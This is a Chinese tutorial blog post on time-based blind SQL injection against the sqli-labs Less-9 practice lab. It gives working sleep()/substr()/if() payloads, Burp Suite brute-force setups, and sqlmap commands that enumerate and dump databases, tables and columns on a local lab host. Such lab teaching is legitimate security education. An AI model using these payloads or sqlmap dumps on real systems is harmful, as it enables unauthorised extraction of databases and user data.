关于SQL时间盲注(基于sleep函数)的手动测试、burpsuite爆破、sqlmap全自动化注入

news2025/1/17 14:08:43

SQL时间注入是一种常见的SQL注入攻击方式,攻击者通过在SQL语句中注入时间相关的代码,来获取敏感信息或者执行非法操作。其基本原理如下:

  1. 攻击者向Web应用程序中输入一段恶意代码,通过SQL语句查询数据库,并注入时间相关的代码。

  2. 时间相关的代码可以包括sleep()函数、benchmark()函数等,这些函数会导致SQL语句执行时间的延迟或者变化。

  3. 攻击者可以根据SQL语句的执行时间,来推断出数据库中存储的信息,如用户名、密码等,从而获取敏感信息或者执行非法操作。

  4. 通过不断尝试和调试,攻击者可以逐步推断出数据库中存储的信息,获取敏感信息或者执行非法操作。

首先我们介绍手动测试,以便大家熟悉原理。

payload主要基于三个函数:sleep()、substr()、if()

以sqllabs-less-9为靶场测试

由于这里无论输入什么都是回显一个内容,因此我们尝试时间盲注

简单使用sleep函数测试,找到闭合点是单引号

?id=1' and sleep(5)--+

可以观察到明显的延时现象后才出现回显内容

我们也可以通过查看请求耗时

6.09s,和我们设置的sleep 5s 差不多,说明sleep语句被执行了,存在时间盲注

那么我们接下来需要先判断当前数据库的长度,使用length函数

?id=1' and if(length(database())=8,sleep(10),0) --+

如果当前数据库的长度为8,则会延时10s 

依旧出现了明显的延时现象

基于这样的一个延时原理,接下来我们使用burpsuite进行爆破

假设我们不知道数据库长度是8,我们先爆破数据库长度

爆破payload:

?id=1' and if(length(database())=1,sleep(3),0) --+

为了爆破时间短一点,我们可以将sleep的时间设置短一点

(但是有时候这个sleep时间也会影响到判断的准确性)

设置爆破位置,选用攻击类型(狙击手,单个参数爆破)

设置爆破字典

如果直接看结果是看不出来的,因为都是回显正常

我们需要基于响应耗时来筛选

按照这个排序

可以看到,正常的响应大约是1s

长度为8时,耗时3999ms,大约4s,即加上了sleep延时的3s

判断出有效载荷为8是执行了sleep函数,因此数据库长度为8

接下来爆数据库名

这里还是需要使用 substr() 函数,该函数和我们在布尔盲注中讲的substring函数类似。

两者都是截取字符串,不同点在于第二个参数

substr(startIndex,lenth): 第二个参数是截取字符串的长度(从起始点截取某个长度的字符串);

substring(startIndex, endIndex): 第二个参数是截取字符串最终的下标 (截取2个位置之间的字符串,‘含头不含尾’)。

若只写一个参数两者完全一样,都是截取从当前下标以后直到字符串最后的字符串片段。

爆破payload:

?id=1' and if(substr(database(),1,1)='a',sleep(3),0)--+ 

同样选择攻击模式(集束炸弹,不明白的请参考我之前布尔盲注爆破的讲解)

以及设置爆破位置,这里需要爆破的参数有两个

第一个参数的字典显然是1到8(因为数据库长度为8)

第二个参数的字典这里以所有小写字母为例(实际情况应该更复杂)

同样,按照默认排序看不出任何东西,我们需要先筛选出执行了sleep函数的payload

再将其按照payload1从1到8的顺序排列

得到当前数据库名为:security

接下来我们爆破该数据库下的表名

(我们可以先爆破表名的长度再爆破具体内容,但是其实也可以直接爆破内容)

尽管长度我们不确定,但是我们的字典长度稍微设置大一点即可确保爆破出的内容完整。

?id=1' and if(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)='a',sleep(3),0)--+

设置攻击类型,爆破参数位置

设置字典

筛选攻击结果

整理得到第一张表名为:emails 

如果你不确定长度是否正确,可以将'6'带入语句进行验证,若出现延时则表明长度正确。

那么我们通过调整limit的参数即可获取到其他的表名,有时候也可以使用group_concat函数。

至于爆破列名以及具体字段内容也是一个道理,这里就不再过多演示,给出一些payload:

爆破security数据库下emails表下的列名

(可以设置三个参数,增设limit的爆破参数以获取所有列名,具体参考我布尔盲注那篇文章)

?id=1' and if(substr((select column_name from information_schema.columns where table_name='emails' and table_schema='security' limit 0,1),1,1)='a',sleep(3),0)--+

爆破具体字段

?id=1' and if(substring((select email_id from security.emails limit 0,1),1,1)='a',sleep(3),0)--+

或者用

?id=1' and if(substring((select group_concat(email_id)from security.emails),1,1)='a',sleep(3),0)--+

最后给出的payload我并未进行实际测试,各位自行测试,若有问题可以评论反馈。

那么最后我们再讲一下使用sqlmap实现全自动的时间盲注

先进行基本检测:

sqlmap -u "http://192.168.60.129:86/Less-9/?id=1" -p id -v 1 --technique=T

参数说明:

-u 指定检测的 url
-p 指定检测的参数
-v 显示调试模式
--technique=T 检测方法为时间注入

经sqlmap 检测为时间注入,通过这个注入我们可以获取相关数据库信息。

获取用户和数据库名:

sqlmap -u "http://192.168.60.129:86/Less-9/?id=1" -p id -v 1 --technique=T --current-user --current-db --batch

参数说明:

--current-user 获取用户
--current-db 获取当前库
--batch 使用默认模式,自动 y

 时间比较久,但是准确性是相当可靠的。

这么说吧:一般sqlmap能跑出来的基本上都没啥问题,这种是不存在什么绕过和过滤的,一般存在过和过滤的,sqlmap基本上都跑不出来,需要手工注入。

得到时间盲注结果:

current user: 'root@localhost'

current database: 'security'

接下来我们获取表名

sqlmap -u "http://192.168.60.129:86/Less-9/?id=1" -p id -v 1 --technique=T --tables -D security --batch

参数说明:

-D 指定数据库
--tables 获取表

sqlmap注入结果:

获取security数据库下所有的表为

+----------+
| emails   |
| referers |
| uagents |
| users     |
+----------+

与本地对比,结果正确

接下来我们获取列名: 

这里以users表为例

sqlmap -u "http://192.168.60.129:86/Less-9/?id=1" -p id -v 1 --technique=T --columns -T users -D security --batch

参数说明:

-T 指定表
--columns 获取列名(字段名)

我这里就不等了,最终你可以爆出所有的列。

最后我们获取字段具体内容:

为了节约时间,我这里只演示查id和username

sqlmap -u "http://192.168.60.129:86/Less-9/?id=1" -p id -v 1 --technique=T --dump -C "id,username" -T users -D security --batch

参数说明:

--dump 导出数据
-C 指定查询的字段

 由于结果有很多,这里我也不等了,各位可以自行验证。

 与本地对照,结果一致。

以上就是关于SQL注入的时间盲注,包括手工注入、burpsuite爆破与使用sqlmap自动化注入。

创作不易,期待大家的支持与关注!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1340389.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

postman使用-03发送请求

文章目录 请求1.新建请求2.选择请求方式3.填写请求URL4.填写请求参数get请求参数在params中填写(填完后在url中会自动显示)post请求参数在body中填写,根据接口文档请求头里面的content-type选择body中的数据类型post请求参数为json-选择raw-选…

HDFS客户端UnknownHostException事故解析

文章目录 前言事故现场问题分析是否是整个域名解析服务当时都出问题了是否是出问题的pods本身的域名解析有问题 异常发生的全部过程域名的解析是什么时候发生的,怎么发生的域名解析的详细流程 重试发生在什么地方为什么重试会无效 Bugfix代码详解关于StandardHostRe…

3D换肤在服装行业的应用

在线工具推荐: 3D数字孪生场景编辑器 - GLTF/GLB材质纹理编辑器 - 3D模型在线转换 - Three.js AI自动纹理开发包 - YOLO 虚幻合成数据生成器 - 三维模型预览图生成器 - 3D模型语义搜索引擎 通过采用高质量的 3D 模型,企业可以提供更加身临其境的体…

透彻掌握GIT基础使用

网址 https://learngitbranching.js.org/?localezh_CN 清屏 clear重新开始reset

DevOps(开发运维)常用的工具

"DevOps"是"Development"(开发)和"Operations"(运维)两个术语的组合,旨在代表公司应用开发和IT运维团队执行的任务的协作或共享方法。 DevOps描述了采用迭代软件开发、自动化以及可编程…

科荣 AIO ReportServlet 任意文件读取漏洞复现

0x01 产品简介 科荣AIO 企业⼀体化管理解决⽅案 通过ERPERP(进销存财务)、OAOA(办公⾃动化)、CRMCRM(客⼾关系管理)、UDPUDP(⾃定义平台),集电⼦商务平台、⽀付平台、ER…

计算机组成原理复习1

概论 文章目录 概论计算机系统计算机硬件系统计算机软件系统 计算机系统的层次结构计算机系统的工作过程冯诺依曼计算机结构冯氏机的特点 现代计算机现代计算机的组成计算机硬件的主要技术指标机器字长存储容量运算速度 计算机的历史与发展 计算机系统 计算机系统硬件软件 计…

安装DataEase(Linux线上安装)修改端口

问题一:端口更改 警告本解决方法仅仅应急,如果找到了更好的方法请通知我,感谢你的理解!!! 为了让mysql与dataease的端口不发生冲突,将 MySQL 外部运行端口参数 ${DE_MYSQL_PORT} 改为新端口&am…

解决 Nginx 反向代理中的 DNS 解析问题:从挑战到突破20231228

引言 在使用 Nginx 作为反向代理服务器时,我们可能会遇到各种配置和网络问题。最近,我遇到了一个有趣的挑战:Nginx 在反向代理配置中无法解析特定的域名,导致 502 错误。这个问题的解决过程不仅揭示了 Nginx 的一个不太为人知的功…

docker学习(二十、network使用示例host、none)

文章目录 一、host应用示例总结 二、none应用示例总结 network相关内容: docker学习(十八、network介绍) docker学习(十九、network使用示例bridge) docker学习(二十、network使用示例host、none&#xff0…

Dockerfile - 基于 SpringBoot 项目自定义镜像(项目上线全过程)

目录 一、Dockerfile 自定义项目镜像 1.1、创建 SpringBoot 项目并编写 1.2、打包项目(jar) 1.3、编写 Dockerfile 文件,构建镜像 1.4、运行镜像并测试 一、Dockerfile 自定义项目镜像 1.1、创建 SpringBoot 项目并编写 a)简…

在香橙派5 Plus上搭建Gitlab

作为一个码农,一定知道Github这个最大的成人交友网站。但是Github在国内不稳定,经常拉不下来代码,也就无法推送代码。为了更方便的使用,顺便更好地了解Git工具,决定在香橙派5 Plus上搭建一个属于自己的代码仓库。 1、…

MR实战:分科汇总求月考平均分

文章目录 一、实战概述二、提出任务三、完成任务(一)准备数据1、在虚拟机上创建文本文件2、上传文件到HDFS指定目录 (二)实现步骤1、创建Maven项目2、添加相关依赖3、创建日志属性文件4、创建学生实体类5、创建科目平均分映射器类…

文件过大放不了U盘?三个方法非常简单~

文件过大放不了U盘我们可以从文件过大这个角度来解决一下这个问题,可以借助一些工具把文件压缩后,体积变小后,再放入U盘,使得u盘得到高效的利用,下面是推荐的一些好用的软件。 一、嗨格式压缩大师 是一款可以压缩多种…

群起而攻之!纽约时报和多名作者七剑合璧,联合起诉 OpenAI 和微软

《纽约时报》控告OpenAI和微软侵犯版权,声称它们未经授权使用了该报数百万篇文章,用于训练其人工智能工具,包括OpenAI的ChatGPT和微软的Bing Chat(现更名为Copilot)。此诉讼引起了一些普利策奖获奖作者和其他非小说类作…

传统零售的巨变:新零售时代催生全新商业形态和供应链关系-亿发

智慧零售解决方案涵盖了新零售的各个方面。对于传统零售业而言,对新零售的接受是一个理解和感知的过程,而并非仅仅是技术的简单叠加。新零售的发展并非仅仅是传统零售业加入互联网或跨界混搭的模式,而是一个根本性的变革过程。 在实际发展中…

第三方软件测试公司有哪些服务形式?如何收费?

由于软件企业的增多,企业更加注重软件开发,因此会将软件测试工作交由第三方软件测试公司进行。第三方软件测试公司也就是专门做软件测评的外包公司,主要是发现软件漏洞和缺陷以便公正、客观评估软件质量,再出具一份软件测试报告。…

Spring Boot 入参校验及全局异常处理

版本依赖 JDK 17 Spring Boot 3.2.0 源码地址:Gitee Spring Boot validation spring-boot-starter-validation是基于hibernate-validator的实现,在Spring Boot项目中直接导入spring-boot-starter-validation即可。 Valid 和 Validated 的区别 适用范围…

事务的简介

一、什么是事务 事务是一组数据库的操作序列,包含一个或多个sql操作命令(增删改),事务将所有的操作命令看做一个不可分割的整体,向数据库系统提交或撤销操作,所有操作要么执行要么不执行。 ●事务是一种机…

P1019 [NOIP2000 提高组] 单词接龙 刷题笔记

P1019 [NOIP2000 提高组] 单词接龙 - 洛谷 | 计算机科学教育新生态 (luogu.com.cn) 思路来自 大佬 Chardo 的个人中心 - 洛谷 | 计算机科学教育新生态 (luogu.com.cn) 匹配 &#xff1a; 将 第一个字符串末尾 和第二个字符串第一个开始匹配 如果 j<i这段走完了 flag还没…